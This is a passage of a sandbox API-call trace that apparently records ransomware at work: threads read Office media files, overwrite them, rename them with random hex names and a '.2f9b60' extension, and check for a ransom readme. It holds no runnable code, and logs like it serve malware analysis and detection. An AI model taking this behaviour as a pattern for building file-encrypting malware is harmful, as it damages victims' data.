lpNumberOfBytesWritten=0x38a5f9d0, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x38a5f9d0*=0x10a, lpOverlapped=0x0) returned 1 [0115.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bea0 [0115.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868940 [0115.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262cf0 [0115.088] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262cf0) returned 1 [0115.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0115.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262cf0 [0115.088] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202608f0 [0115.089] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202608f0) returned 1 [0115.089] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868940) returned 1 [0115.089] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bea0) returned 1 [0115.089] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8500 [0115.089] sprintf (in: _Dest=0x1b7d8500, _Format="%c%c" | out: _Dest="ac") returned 2 [0115.089] sprintf (in: _Dest=0x1b7d8502, _Format="%c%c" | out: _Dest="ff") returned 2 [0115.089] sprintf (in: _Dest=0x1b7d8504, _Format="%c%c" | out: _Dest="3b") returned 2 [0115.089] sprintf (in: _Dest=0x1b7d8506, _Format="%c%c" | out: _Dest="e1") returned 2 [0115.089] sprintf (in: _Dest=0x1b7d8508, _Format="%c%c" | out: _Dest="11") returned 2 [0115.089] sprintf (in: _Dest=0x1b7d850a, _Format="%c%c" | out: _Dest="3a") returned 2 [0115.089] sprintf (in: _Dest=0x1b7d850c, _Format="%c%c" | out: _Dest="34") returned 2 [0115.089] sprintf (in: _Dest=0x1b7d850e, _Format="%c%c" | out: _Dest="f5") returned 2 [0115.089] sprintf (in: _Dest=0x1b7d8510, _Format="%c%c" | out: _Dest="e0") returned 2 [0115.089] sprintf (in: _Dest=0x1b7d8512, _Format="%c%c" | out: _Dest="b6") returned 2 [0115.089] sprintf (in: _Dest=0x1b7d8514, _Format="%c%c" | out: _Dest="4c") returned 2 [0115.089] sprintf (in: _Dest=0x1b7d8516, _Format="%c%c" | out: _Dest="ac") returned 2 [0115.090] sprintf (in: _Dest=0x1b7d8518, _Format="%c%c" | out: _Dest="f1") returned 2 [0115.090] sprintf (in: _Dest=0x1b7d851a, _Format="%c%c" | out: _Dest="a0") returned 2 [0115.090] sprintf (in: _Dest=0x1b7d851c, _Format="%c%c" | out: _Dest="da") returned 2 [0115.090] sprintf (in: _Dest=0x1b7d851e, _Format="%c%c" | out: _Dest="bf") returned 2 [0115.090] sprintf (in: _Dest=0x1b7d8520, _Format="%c%c" | out: _Dest="f1") returned 2 [0115.090] sprintf (in: _Dest=0x1b7d8522, _Format="%c%c" | out: _Dest="66") returned 2 [0115.090] sprintf (in: _Dest=0x1b7d8524, _Format="%c%c" | out: _Dest="92") returned 2 [0115.090] sprintf (in: _Dest=0x1b7d8526, _Format="%c%c" | out: _Dest="ed") returned 2 [0115.090] sprintf (in: _Dest=0x1b7d8528, _Format="%c%c" | out: _Dest="3f") returned 2 [0115.090] sprintf (in: _Dest=0x1b7d852a, _Format="%c%c" | out: _Dest="53") returned 2 [0115.090] sprintf (in: _Dest=0x1b7d852c, _Format="%c%c" | out: _Dest="44") returned 2 [0115.090] sprintf (in: _Dest=0x1b7d852e, _Format="%c%c" | out: _Dest="f1") returned 2 [0115.090] RtlInitAnsiString (in: DestinationString=0x38a5fa48, SourceString="acff3be1113a34f5e0b64cacf1a0dabff16692ed3f5344f1" | out: DestinationString="acff3be1113a34f5e0b64cacf1a0dabff16692ed3f5344f1") [0115.090] RtlAnsiStringToUnicodeString (in: DestinationString=0x38a5fa18, SourceString="acff3be1113a34f5e0b64cacf1a0dabff16692ed3f5344f1", AllocateDestinationString=1 | out: DestinationString="acff3be1113a34f5e0b64cacf1a0dabff16692ed3f5344f1") returned 0x0 [0115.090] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7a3340 [0115.091] wcscat (in: _Dest=0x1b7ad8e0, _Source="acff3be1113a" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\acff3be1113a") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\acff3be1113a" [0115.091] wcscat (in: _Dest=0x1b7ad8e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\acff3be1113a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\acff3be1113a.2f9b60" [0115.091] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\acff3be1113a.2f9b60", NtPathName=0x38a5f9f0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\acff3be1113a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0115.091] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b861e30 [0115.091] NtSetInformationFile (FileHandle=0x14c0, IoStatusBlock=0x38a5fa90, FileInformation=0x1b861e30, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0115.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861e30) returned 1 [0115.093] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0115.093] NtQueryInformationFile (in: FileHandle=0x14c0, IoStatusBlock=0x38a5fa58, FileInformation=0x38a5fa68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x38a5fa58, FileInformation=0x38a5fa68) returned 0x0 [0115.093] NtSetInformationFile (FileHandle=0x14c0, IoStatusBlock=0x38a5fa58, FileInformation=0x38a5fa68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0115.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad8e0) returned 1 [0115.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a3340) returned 1 [0115.096] FlushFileBuffers (hFile=0x14c0) returned 1 [0115.123] CloseHandle (hObject=0x14c0) returned 1 [0115.130] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1cf4d920 [0115.130] wcscpy (in: _Dest=0x1cf4d920, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0115.130] wcscat (in: _Dest=0x1cf4d920, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0115.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0115.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d920) returned 1 [0115.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a2c0) returned 1 Thread: id = 1224 os_tid = 0xc6c [0115.080] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212219.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212219.wmf")) returned 0x20 [0115.082] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212219.WMF", dwFileAttributes=0x20) returned 1 [0115.084] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212219.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212219.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14d8 [0115.085] GetFileSizeEx (in: hFile=0x14d8, lpFileSize=0x38bef6c0 | out: lpFileSize=0x38bef6c0*=4542) returned 1 [0115.085] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0x11ba, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.085] ReadFile (in: hFile=0x14d8, lpBuffer=0x38bef640, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x38bef688, lpOverlapped=0x0 | out: lpBuffer=0x38bef640*, lpNumberOfBytesRead=0x38bef688*=0x4, lpOverlapped=0x0) returned 1 [0115.094] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e00 [0115.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202619a0 [0115.094] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263470 [0115.094] NtQuerySystemTime (in: CurrentTime=0x38bef580 | out: CurrentTime=0x38bef580*=132462177205486000) returned 0x0 [0115.094] RtlRandomEx (in: Seed=0x38bef570 | out: Seed=0x38bef570) returned 0x7d8a7bac [0115.094] RtlRandomEx (in: Seed=0x38bef570 | out: Seed=0x38bef570) returned 0x60fc0ba9 [0115.094] RtlRandomEx (in: Seed=0x38bef570 | out: Seed=0x38bef570) returned 0xbad8ead [0115.094] RtlRandomEx (in: Seed=0x38bef570 | out: Seed=0x38bef570) returned 0x23b13201 [0115.094] RtlRandomEx (in: Seed=0x38bef570 | out: Seed=0x38bef570) returned 0x7a63680b [0115.094] RtlRandomEx (in: Seed=0x38bef570 | out: Seed=0x38bef570) returned 0xaea571 [0115.094] RtlRandomEx (in: Seed=0x38bef570 | out: Seed=0x38bef570) returned 0x633192c0 [0115.095] RtlRandomEx (in: Seed=0x38bef570 | out: Seed=0x38bef570) returned 0x69642990 [0115.095] RtlRandomEx (in: Seed=0x38bef570 | out: Seed=0x38bef570) returned 0x10eda048 [0115.095] RtlRandomEx (in: Seed=0x38bef570 | out: Seed=0x38bef570) returned 0x22bfd3db [0115.105] RtlRandomEx (in: Seed=0x38bef570 | out: Seed=0x38bef570) returned 0x37cb66f [0115.105] RtlRandomEx (in: Seed=0x38bef570 | out: Seed=0x38bef570) returned 0x647a3b09 [0115.105] RtlRandomEx (in: Seed=0x38bef570 | out: Seed=0x38bef570) returned 0x4fd6fd81 [0115.105] RtlRandomEx (in: Seed=0x38bef570 | out: Seed=0x38bef570) returned 0x42e48102 [0115.105] RtlRandomEx (in: Seed=0x38bef570 | out: Seed=0x38bef570) returned 0x6ce78492 [0115.105] RtlRandomEx (in: Seed=0x38bef570 | out: Seed=0x38bef570) returned 0x782b0b51 [0115.105] RtlRandomEx (in: Seed=0x38bef570 | out: Seed=0x38bef570) returned 0xa97ffd7 [0115.105] RtlRandomEx (in: Seed=0x38bef570 | out: Seed=0x38bef570) returned 0x1e53bae4 [0115.105] RtlRandomEx (in: Seed=0x38bef570 | out: Seed=0x38bef570) returned 0x63dcf5c0 [0115.105] RtlRandomEx (in: Seed=0x38bef570 | out: Seed=0x38bef570) returned 0x7dac28f4 [0115.105] RtlRandomEx (in: Seed=0x38bef570 | out: Seed=0x38bef570) returned 0xcf93401 [0115.105] RtlRandomEx (in: Seed=0x38bef570 | out: Seed=0x38bef570) returned 0x57b8ad70 [0115.105] RtlRandomEx (in: Seed=0x38bef570 | out: Seed=0x38bef570) returned 0xde3da0a [0115.105] RtlRandomEx (in: Seed=0x38bef570 | out: Seed=0x38bef570) returned 0x576567ab [0115.105] RtlRandomEx (in: Seed=0x38bef570 | out: Seed=0x38bef570) returned 0x5e1cdbb7 [0115.105] RtlRandomEx (in: Seed=0x38bef570 | out: Seed=0x38bef570) returned 0x1152c6c5 [0115.105] RtlRandomEx (in: Seed=0x38bef570 | out: Seed=0x38bef570) returned 0x6ce2128b [0115.105] RtlRandomEx (in: Seed=0x38bef570 | out: Seed=0x38bef570) returned 0x2e27523e [0115.105] RtlRandomEx (in: Seed=0x38bef570 | out: Seed=0x38bef570) returned 0x2121dcf4 [0115.105] RtlRandomEx (in: Seed=0x38bef570 | out: Seed=0x38bef570) returned 0x4865390c [0115.105] RtlRandomEx (in: Seed=0x38bef570 | out: Seed=0x38bef570) returned 0x28728ce4 [0115.105] RtlRandomEx (in: Seed=0x38bef570 | out: Seed=0x38bef570) returned 0xea84678 [0115.119] ReadFile (in: hFile=0x14d8, lpBuffer=0x201578d0, nNumberOfBytesToRead=0x11be, lpNumberOfBytesRead=0x38bef570, lpOverlapped=0x0 | out: lpBuffer=0x201578d0*, lpNumberOfBytesRead=0x38bef570*=0x11be, lpOverlapped=0x0) returned 1 [0115.120] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.120] WriteFile (in: hFile=0x14d8, lpBuffer=0x20153cc0*, nNumberOfBytesToWrite=0x11be, lpNumberOfBytesWritten=0x38bef574, lpOverlapped=0x0 | out: lpBuffer=0x20153cc0*, lpNumberOfBytesWritten=0x38bef574*=0x11be, lpOverlapped=0x0) returned 1 [0115.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9670 [0115.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a95e0 [0115.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a95e0) returned 1 [0115.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20153cc0) returned 1 [0115.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201578d0) returned 1 [0115.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868940) returned 1 [0115.133] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bea0) returned 1 [0115.133] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a95e0 [0115.133] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0115.134] WriteFile (in: hFile=0x14d8, lpBuffer=0x1675e0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x38bef690, lpOverlapped=0x0 | out: lpBuffer=0x1675e0*, lpNumberOfBytesWritten=0x38bef690*=0x10a, lpOverlapped=0x0) returned 1 [0115.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82bea0 [0115.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b868940 [0115.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9520 [0115.135] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a9520) returned 1 [0115.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0115.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a9520 [0115.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263e00 [0115.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263e00) returned 1 [0115.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b868940) returned 1 [0115.136] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bea0) returned 1 [0115.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1b7d8500 [0115.136] sprintf (in: _Dest=0x1b7d8500, _Format="%c%c" | out: _Dest="75") returned 2 [0115.136] sprintf (in: _Dest=0x1b7d8502, _Format="%c%c" | out: _Dest="d1") returned 2 [0115.136] sprintf (in: _Dest=0x1b7d8504, _Format="%c%c" | out: _Dest="c9") returned 2 [0115.136] sprintf (in: _Dest=0x1b7d8506, _Format="%c%c" | out: _Dest="c9") returned 2 [0115.136] sprintf (in: _Dest=0x1b7d8508, _Format="%c%c" | out: _Dest="66") returned 2 [0115.136] sprintf (in: _Dest=0x1b7d850a, _Format="%c%c" | out: _Dest="86") returned 2 [0115.136] sprintf (in: _Dest=0x1b7d850c, _Format="%c%c" | out: _Dest="bc") returned 2 [0115.137] sprintf (in: _Dest=0x1b7d850e, _Format="%c%c" | out: _Dest="50") returned 2 [0115.137] sprintf (in: _Dest=0x1b7d8510, _Format="%c%c" | out: _Dest="c5") returned 2 [0115.137] sprintf (in: _Dest=0x1b7d8512, _Format="%c%c" | out: _Dest="4d") returned 2 [0115.137] sprintf (in: _Dest=0x1b7d8514, _Format="%c%c" | out: _Dest="d2") returned 2 [0115.137] sprintf (in: _Dest=0x1b7d8516, _Format="%c%c" | out: _Dest="27") returned 2 [0115.137] sprintf (in: _Dest=0x1b7d8518, _Format="%c%c" | out: _Dest="52") returned 2 [0115.137] sprintf (in: _Dest=0x1b7d851a, _Format="%c%c" | out: _Dest="c1") returned 2 [0115.137] sprintf (in: _Dest=0x1b7d851c, _Format="%c%c" | out: _Dest="9d") returned 2 [0115.137] sprintf (in: _Dest=0x1b7d851e, _Format="%c%c" | out: _Dest="33") returned 2 [0115.137] sprintf (in: _Dest=0x1b7d8520, _Format="%c%c" | out: _Dest="48") returned 2 [0115.137] sprintf (in: _Dest=0x1b7d8522, _Format="%c%c" | out: _Dest="b9") returned 2 [0115.137] sprintf (in: _Dest=0x1b7d8524, _Format="%c%c" | out: _Dest="03") returned 2 [0115.137] sprintf (in: _Dest=0x1b7d8526, _Format="%c%c" | out: _Dest="8c") returned 2 [0115.137] sprintf (in: _Dest=0x1b7d8528, _Format="%c%c" | out: _Dest="cf") returned 2 [0115.137] sprintf (in: _Dest=0x1b7d852a, _Format="%c%c" | out: _Dest="d7") returned 2 [0115.137] sprintf (in: _Dest=0x1b7d852c, _Format="%c%c" | out: _Dest="ef") returned 2 [0115.137] sprintf (in: _Dest=0x1b7d852e, _Format="%c%c" | out: _Dest="23") returned 2 [0115.137] RtlInitAnsiString (in: DestinationString=0x38bef708, SourceString="75d1c9c96686bc50c54dd22752c19d3348b9038ccfd7ef23" | out: DestinationString="75d1c9c96686bc50c54dd22752c19d3348b9038ccfd7ef23") [0115.137] RtlAnsiStringToUnicodeString (in: DestinationString=0x38bef6d8, SourceString="75d1c9c96686bc50c54dd22752c19d3348b9038ccfd7ef23", AllocateDestinationString=1 | out: DestinationString="75d1c9c96686bc50c54dd22752c19d3348b9038ccfd7ef23") returned 0x0 [0115.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7a32d0 [0115.138] wcscat (in: _Dest=0x1b7ad8e0, _Source="75d1c9c96686" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\75d1c9c96686") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\75d1c9c96686" [0115.138] wcscat (in: _Dest=0x1b7ad8e0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\75d1c9c96686.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\75d1c9c96686.2f9b60" [0115.138] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\75d1c9c96686.2f9b60", NtPathName=0x38bef6b0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\75d1c9c96686.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0115.138] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x1b861e30 [0115.138] NtSetInformationFile (FileHandle=0x14d8, IoStatusBlock=0x38bef750, FileInformation=0x1b861e30, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0115.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b861e30) returned 1 [0115.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0115.140] NtQueryInformationFile (in: FileHandle=0x14d8, IoStatusBlock=0x38bef718, FileInformation=0x38bef728, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x38bef718, FileInformation=0x38bef728) returned 0x0 [0115.140] NtSetInformationFile (FileHandle=0x14d8, IoStatusBlock=0x38bef718, FileInformation=0x38bef728, Length=0x28, FileInformationClass=0x4) returned 0x0 [0115.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad8e0) returned 1 [0115.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7a32d0) returned 1 [0115.142] FlushFileBuffers (hFile=0x14d8) returned 1 [0115.143] CloseHandle (hObject=0x14d8) returned 1 [0115.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86a2c0 [0115.145] wcscpy (in: _Dest=0x1b86a2c0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0115.145] wcscat (in: _Dest=0x1b86a2c0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0115.145] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0115.145] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a2c0) returned 1 [0115.145] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a350) returned 1 Thread: id = 1225 os_tid = 0xc70 [0115.154] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212661.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212661.wmf")) returned 0x20 [0115.155] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212661.WMF", dwFileAttributes=0x20) returned 1 [0115.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212661.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212661.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14d8 [0115.156] GetFileSizeEx (in: hFile=0x14d8, lpFileSize=0x3892fe00 | out: lpFileSize=0x3892fe00*=9358) returned 1 [0115.156] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0x248a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.156] ReadFile (in: hFile=0x14d8, lpBuffer=0x3892fd80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3892fdc8, lpOverlapped=0x0 | out: lpBuffer=0x3892fd80*, lpNumberOfBytesRead=0x3892fdc8*=0x4, lpOverlapped=0x0) returned 1 [0115.225] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a96a0 [0115.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202619a0 [0115.225] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f60 [0115.225] NtQuerySystemTime (in: CurrentTime=0x3892fcc0 | out: CurrentTime=0x3892fcc0*=132462177206890000) returned 0x0 [0115.225] RtlRandomEx (in: Seed=0x3892fcb0 | out: Seed=0x3892fcb0) returned 0x61851b40 [0115.225] RtlRandomEx (in: Seed=0x3892fcb0 | out: Seed=0x3892fcb0) returned 0x725d60a2 [0115.225] RtlRandomEx (in: Seed=0x3892fcb0 | out: Seed=0x3892fcb0) returned 0x740c602a [0115.225] RtlRandomEx (in: Seed=0x3892fcb0 | out: Seed=0x3892fcb0) returned 0x6777178e [0115.225] RtlRandomEx (in: Seed=0x3892fcb0 | out: Seed=0x3892fcb0) returned 0x6b65d560 [0115.225] RtlRandomEx (in: Seed=0x3892fcb0 | out: Seed=0x3892fcb0) returned 0x52e3b54 [0115.225] RtlRandomEx (in: Seed=0x3892fcb0 | out: Seed=0x3892fcb0) returned 0x726bface [0115.225] RtlRandomEx (in: Seed=0x3892fcb0 | out: Seed=0x3892fcb0) returned 0x54118896 [0115.226] RtlRandomEx (in: Seed=0x3892fcb0 | out: Seed=0x3892fcb0) returned 0x734e8aed [0115.226] RtlRandomEx (in: Seed=0x3892fcb0 | out: Seed=0x3892fcb0) returned 0x585a3f37 [0115.226] RtlRandomEx (in: Seed=0x3892fcb0 | out: Seed=0x3892fcb0) returned 0x713bc8a2 [0115.226] RtlRandomEx (in: Seed=0x3892fcb0 | out: Seed=0x3892fcb0) returned 0x66b55a80 [0115.226] RtlRandomEx (in: Seed=0x3892fcb0 | out: Seed=0x3892fcb0) returned 0x19451653 [0115.226] RtlRandomEx (in: Seed=0x3892fcb0 | out: Seed=0x3892fcb0) returned 0x4610e694 [0115.226] RtlRandomEx (in: Seed=0x3892fcb0 | out: Seed=0x3892fcb0) returned 0x413a4c8 [0115.226] RtlRandomEx (in: Seed=0x3892fcb0 | out: Seed=0x3892fcb0) returned 0x2fff36a9 [0115.226] RtlRandomEx (in: Seed=0x3892fcb0 | out: Seed=0x3892fcb0) returned 0xd938bb5 [0115.226] RtlRandomEx (in: Seed=0x3892fcb0 | out: Seed=0x3892fcb0) returned 0x5edc2c73 [0115.226] RtlRandomEx (in: Seed=0x3892fcb0 | out: Seed=0x3892fcb0) returned 0x39246dea [0115.226] RtlRandomEx (in: Seed=0x3892fcb0 | out: Seed=0x3892fcb0) returned 0x363c2ef2 [0115.226] RtlRandomEx (in: Seed=0x3892fcb0 | out: Seed=0x3892fcb0) returned 0xba02d08 [0115.226] RtlRandomEx (in: Seed=0x3892fcb0 | out: Seed=0x3892fcb0) returned 0x648d1e0 [0115.226] RtlRandomEx (in: Seed=0x3892fcb0 | out: Seed=0x3892fcb0) returned 0x14943f56 [0115.226] RtlRandomEx (in: Seed=0x3892fcb0 | out: Seed=0x3892fcb0) returned 0xff6454e [0115.226] RtlRandomEx (in: Seed=0x3892fcb0 | out: Seed=0x3892fcb0) returned 0x139e9e4d [0115.227] RtlRandomEx (in: Seed=0x3892fcb0 | out: Seed=0x3892fcb0) returned 0x30fa54f2 [0115.227] RtlRandomEx (in: Seed=0x3892fcb0 | out: Seed=0x3892fcb0) returned 0x389262d2 [0115.227] RtlRandomEx (in: Seed=0x3892fcb0 | out: Seed=0x3892fcb0) returned 0x127a3a70 [0115.227] RtlRandomEx (in: Seed=0x3892fcb0 | out: Seed=0x3892fcb0) returned 0x5da4dc44 [0115.227] RtlRandomEx (in: Seed=0x3892fcb0 | out: Seed=0x3892fcb0) returned 0x48c933dc [0115.227] RtlRandomEx (in: Seed=0x3892fcb0 | out: Seed=0x3892fcb0) returned 0x21d4951b [0115.227] RtlRandomEx (in: Seed=0x3892fcb0 | out: Seed=0x3892fcb0) returned 0x28b8374 [0115.256] ReadFile (in: hFile=0x14d8, lpBuffer=0x20179560, nNumberOfBytesToRead=0x248e, lpNumberOfBytesRead=0x3892fcb0, lpOverlapped=0x0 | out: lpBuffer=0x20179560*, lpNumberOfBytesRead=0x3892fcb0*=0x248e, lpOverlapped=0x0) returned 1 [0115.300] SetFilePointerEx (in: hFile=0x14d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0115.300] WriteFile (in: hFile=0x14d8, lpBuffer=0x20175950*, nNumberOfBytesToWrite=0x248e, lpNumberOfBytesWritten=0x3892fcb4, lpOverlapped=0x0 | out: lpBuffer=0x20175950*, 